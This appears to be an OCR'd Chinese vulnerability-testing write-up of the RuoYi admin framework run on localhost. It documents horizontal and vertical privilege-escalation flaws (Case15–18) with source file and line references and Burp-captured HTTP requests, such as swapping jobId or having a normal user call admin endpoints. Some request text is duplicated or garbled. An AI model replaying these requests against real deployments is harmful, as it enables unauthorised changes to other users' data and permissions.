<input type="checkbox"/>	1	系统默认 (无参)	默认	ryTask ryNoParams	0/10 **** ?		2025-03-07 17:52:12
<input type="checkbox"/>	2	test	默认	ryTask ryNoParams	0/10 **** ?		2025-03-07 17:52:12
<input type="checkbox"/>	3	test	默认	ryTask ryNoParams	0/10 **** ?		2025-03-07 17:52:12

水平越权漏洞: 在burp修改jobid就可以修改别的任务的状态: 1.三个任务都为关闭时, 点击修改任务1的任务状态

<input type="checkbox"/>	任务编号	任务名称	任务分组	调用目标字符串	执行表达式	任务状态	创建时间
<input type="checkbox"/>	1	系统默认 (无参)	默认	ryTask ryNoParams	0/10 **** ?		2025-03-
<input type="checkbox"/>	2	test	默认	ryTask ryNoParams	0/10 **** ?		2025-03-
<input type="checkbox"/>	3	test	默认	ryTask ryNoParams	0/10 **** ?		2025-03-

2.用burp抓包, 修改jobid为2, forward

Request

	Pretty	Raw	Hex
1	POST /monitor/job/changeStatus HTTP/1.1		
2	Host: localhost		
3	Content-Length: 33		
4	sec-ch-ua-platform: "macOS"		
5	Accept-Language: zh-CN,zh;q=0.9		
6	sec-ch-ua: "Chromium";v="133", "Not(A:Brand";v="99"		
7	sec-ch-ua-mobile: ?0		
8	X-Requested-With: XMLHttpRequest		
9	User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/5		
L0	Accept: application/json, text/javascript, */*; q=0.01		
L1	Content-Type: application/x-www-form-urlencoded; charset=UTF-8		
L2	Origin: http://localhost		
L3	Sec-Fetch-Site: same-origin		
L4	Sec-Fetch-Mode: cors		
L5	Sec-Fetch-Dest: empty		
L6	Referer: http://localhost/monitor/job		
L7	Accept-Encoding: gzip, deflate, br		
L8	Cookie: JSESSIONID=51b4a6c2-ad9b-46c8-84f0-fd9ed27c3da0		
L9	Connection: keep-alive		
20			
21	 jobId=1&jobGroup=DEFAULT&status=0		
7	Accept-Encoding: gzip, deflate, br		
8	Cookie: JSESSIONID=51b4a6c2-ad9b-46c8-84f0-fd9ed27c3d;		
9	Connection: keep-alive		
0			
1	 jobId=2&jobGroup=DEFAULT&status=0		

3.可以发现任务2状态改变为运行状态：

+ 新增 修改 删除 导出 生成表达式 日志						
任务编号	任务名称	任务分组	调用目标字符串	执行表达式	任务状态	创建时间
1	系统默认 (无参)	默认	ryTask.ryNoParams	0/10 ****?	○	2025-03-07 17:52:12
2	test	默认	ryTask.ryNoParams	0/10 ****?	○	2025-03-07 17:52:12
3	test	默认	ryTask.ryNoParams	0/10 ****?	○	2025-03-07 17:52:12

显示第 1 到第 3 条记录，总共 3 条记录

Case15 con:71 有漏洞

垂直越权漏洞：在src/main/java/com/ruoyi/web/controller/system/SysNoticeController.java的97行，editSave方法中，普通用户可以直接修改通知公告，说明存在垂直越权漏洞 原本公告如下：

<input type="checkbox"/> 序号	公告标题	公告类型	状态	创建者	创建时间	操作
<input type="checkbox"/> 1	温馨提醒: 2018-07-01 若依新版本发布啦	公告	正常	admin	2025-03-07 17:52:12	<input type="button" value="编辑"/> <input type="button" value="删除"/>
<input type="checkbox"/> 2	维护通知: 2018-07-01 若依系统凌晨维护	通知	正常	admin	2025-03-07 17:52:12	<input type="button" value="编辑"/> <input type="button" value="删除"/>
<input type="checkbox"/> 3	若依开源框架介绍	通知	正常	admin	2025-03-07 17:52:12	<input type="button" value="编辑"/> <input type="button" value="删除"/>

显示第 1 到第 3 条记录, 总共 3 条记录

如图成功修改:

Case16 con:138 有漏洞

在src/main/java/com/ruoyi/web/controller/system/SysRoleController.java的271行, /authUser/cancelAll的cancelAuthUserAll方法中, 普通用户可以批量取消授权用户的授权存在垂直越权漏洞 流程如下: 1.点击更多操作的分配用户选项, 可以看到授权用户界面如图:



登录名称	用户名称	邮箱	手机	用户状态	创建时间	操作
<input checked="" type="checkbox"/> ry	若依	ry@qq.com	15666666666	正常	2025-03-07 17:52:12	<input type="button" value="取消授权"/>

显示第 1 到第 1 条记录, 总共 1 条记录

2.用普通用户test点击批量取消授权, 抓包可以发现authUser/cancelAll, forward

Request

Pretty Raw Hex

```

1 POST /system/role/authUser/cancelAll HTTP/1.1
2 Host: localhost
3 Content-Length: 18
4 sec-ch-ua-platform: "macOS"
5 Accept-Language: zh-CN,zh;q=0.9
6 sec-ch-ua: "Chromium";v="133", "Not(A:Brand";v="99"
7 sec-ch-ua-mobile: ?0
8 X-Requested-With: XMLHttpRequest
9 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.3
(KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36
10 Accept: application/json, text/javascript, */*; q=0.01
11 Content-Type: application/x-www-form-urlencoded; charset=UTF-8
12 Origin: http://localhost
13 Sec-Fetch-Site: same-origin
14 Sec-Fetch-Mode: cors
15 Sec-Fetch-Dest: empty
16 Referer: http://localhost/system/role/authUser/2
17 Accept-Encoding: gzip, deflate, br
18 Cookie: JSESSIONID=5232d406-4829-4373-bbfc-d8c6652e751f
19 Connection: keep-alive

```

3. 成功取消用户授权，存在垂直越权漏洞

Case17 con:144 有漏洞

垂直越权漏洞：在src/main/java/com/ruoyi/web/controller/system/SysDictTypeController.java的112行，editSave方法中，用户可以更改字典信息，字典存储用户信息，可以直接更改字典信息说明存在垂直越权 字典信息原本如下：

字典主键	字典名称	字典类型	状态	备注	创建时间	操作
1	用户性别	sys_user_sex	正常	用户性别列表	2025-01-04 12:00:20	<input type="checkbox"/> 编辑
2	菜单状态	sys_show_hide	正常	菜单状态列表	2025-01-04 12:00:20	<input type="checkbox"/> 编辑
3	系统开关	sys_normal_disable	正常	系统开关列表	2025-01-04 12:00:20	<input type="checkbox"/> 编辑
4	任务状态	sys_job_status	正常	任务状态列表	2025-01-04 12:00:20	<input type="checkbox"/> 编辑
5	任务分组	sys_job_group	正常	任务分组列表	2025-01-04 12:00:20	<input type="checkbox"/> 编辑
6	系统是否	sys_yes_no	正常	系统是否列表	2025-01-04 12:00:20	<input type="checkbox"/> 编辑
7	通知类型	sys_notice_type	正常	通知类型列表	2025-01-04 12:00:20	<input type="checkbox"/> 编辑
8	通知状态	sys_notice_status	正常	通知状态列表	2025-01-04 12:00:20	<input type="checkbox"/> 编辑
9	操作类型	sys_oper_type	正常	操作类型列表	2025-01-04 12:00:20	<input type="checkbox"/> 编辑
10	系统状态	sys_common_status	正常	登录状态列表	2025-01-04 12:00:20	<input type="checkbox"/> 编辑

修改成功：

字典主键	字典名称	字典类型	状态	备注	创建时间	操作
1	用户性别	sys_user_sex	正常	用户性别列表	2025-03-07 17:52:12	<input type="checkbox"/> 编辑 <input type="checkbox"/> 列表 <input type="checkbox"/> 删除
2	test	sys_test	正常	test	2025-03-07 17:52:12	<input type="checkbox"/> 编辑 <input type="checkbox"/> 列表 <input type="checkbox"/> 删除
3	系统开关	sys_normal_disable	正常	系统开关列表	2025-03-07 17:52:12	<input type="checkbox"/> 编辑 <input type="checkbox"/> 列表 <input type="checkbox"/> 删除
4	任务状态	sys_job_status	正常	任务状态列表	2025-03-07 17:52:12	<input type="checkbox"/> 编辑 <input type="checkbox"/> 列表 <input type="checkbox"/> 删除
5	任务分组	sys_job_group	正常	任务分组列表	2025-03-07 17:52:12	<input type="checkbox"/> 编辑 <input type="checkbox"/> 列表 <input type="checkbox"/> 删除

Case18 con:144 有漏洞

在src/main/java/com/ruoyi/generator/controller/GenController.java的174行，tool:gen:edit的editSave方法中，普通用户就可以修改代码生成业务，存在垂直越权漏洞 流程如下： 1.对sys_config进行编辑，原本信息如图，勾选第一行config_id的编辑，点击保存

序号	表名称	表描述	实体类名称	创建时间	更新时间	操作
1	sys_config	参数配置表	SysConfig	2025-03-09 11:23:41	-	<input type="checkbox"/> 预览 <input type="checkbox"/> 编辑 <input type="checkbox"/> 删除 <input type="checkbox"/> 同步 <input type="checkbox"/> 生成代码
2	sys_dept	部门表	SysDept	2025-03-09 11:23:41	-	<input type="checkbox"/> 预览 <input type="checkbox"/> 编辑 <input type="checkbox"/> 删除 <input type="checkbox"/> 同步 <input type="checkbox"/> 生成代码

基本信息	字段信息	生成信息										
序号	字段列名	字段描述	物理类型	Java类型	Java属性	插入	编辑	列表	查询	查询方式	必填	显示类型
1	config_id	参数主键	int	Long	configId	<input checked="" type="checkbox"/>	<input type="checkbox"/>	<input type="checkbox"/>	<input type="checkbox"/>	=	<input type="checkbox"/>	文本框
2	config_name	参数名称	varchar(100)	String	configName	<input checked="" type="checkbox"/>	<input checked="" type="checkbox"/>	<input checked="" type="checkbox"/>	<input checked="" type="checkbox"/>	Like	<input type="checkbox"/>	文本框
3	config_key	参数键名	varchar(100)	String	configKey	<input checked="" type="checkbox"/>	<input checked="" type="checkbox"/>	<input checked="" type="checkbox"/>	<input checked="" type="checkbox"/>	=	<input type="checkbox"/>	文本框
4	config_value	参数键值	varchar(500)	String	configValue	<input checked="" type="checkbox"/>	<input checked="" type="checkbox"/>	<input checked="" type="checkbox"/>	<input checked="" type="checkbox"/>	=	<input type="checkbox"/>	文本域

	Pretty	Raw	Hex
1	POST /tool/gen/edit HTTP/1.1		
2	Host: localhost		
3	Content-Length: 3763		
4	sec-ch-ua-platform: "macOS"		
5	Accept-Language: zh-CN,zh;q=0.9		
6	sec-ch-ua: "Chromium";v="133", "Not(A:Brand";v="99"		
7	sec-ch-ua-mobile: ?0		
8	X-Requested-With: XMLHttpRequest		
9	User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.6702.121 Safari/537.36		
10	Accept: application/json, text/javascript, */*; q=0.01		
11	Content-Type: application/x-www-form-urlencoded; charset=UTF-8		
12	Origin: http://localhost		
13	Sec-Fetch-Site: same-origin		
14	Sec-Fetch-Mode: cors		
15	Sec-Fetch-Dest: empty		
16	Referer: http://localhost/tool/gen/edit/1		
17	Accept-Encoding: gzip, deflate, br		
18	Cookie: JSESSIONID=51b4a6c2-ad9b-46c8-84f0-fd9ed27c3da0		
19	Connection: keep-alive		
20			
21	tableId=1&tableName=sys_config&tableComment=%E5%8F%82%E6%95%B0%E9%80%8A%&columns%5B0%5D.columnId=1&columns%5B0%5D.sort=1&columns%5B0%5D.co		

2. 成功修改，说明存在垂直越权漏洞

基本信息	字段信息	生成信息									
序号	字段列名	字段描述	物理类型	Java类型	Java属性	插入	编辑	列表	查询	查询方式	必填
1	config_id	参数主键	int	Long	configId	<input checked="" type="checkbox"/>	<input checked="" type="checkbox"/>	<input type="checkbox"/>	<input type="checkbox"/>	=	<input type="checkbox"/>
2	config_name	参数名称	varchar(100)	String	configName	<input checked="" type="checkbox"/>	<input checked="" type="checkbox"/>	<input checked="" type="checkbox"/>	<input checked="" type="checkbox"/>	Like	<input type="checkbox"/>
3	config_kew	参数键名	varchar(100)	String	configKew	<input checked="" type="checkbox"/>	<input checked="" type="checkbox"/>	<input checked="" type="checkbox"/>	<input checked="" type="checkbox"/>	=	<input type="checkbox"/>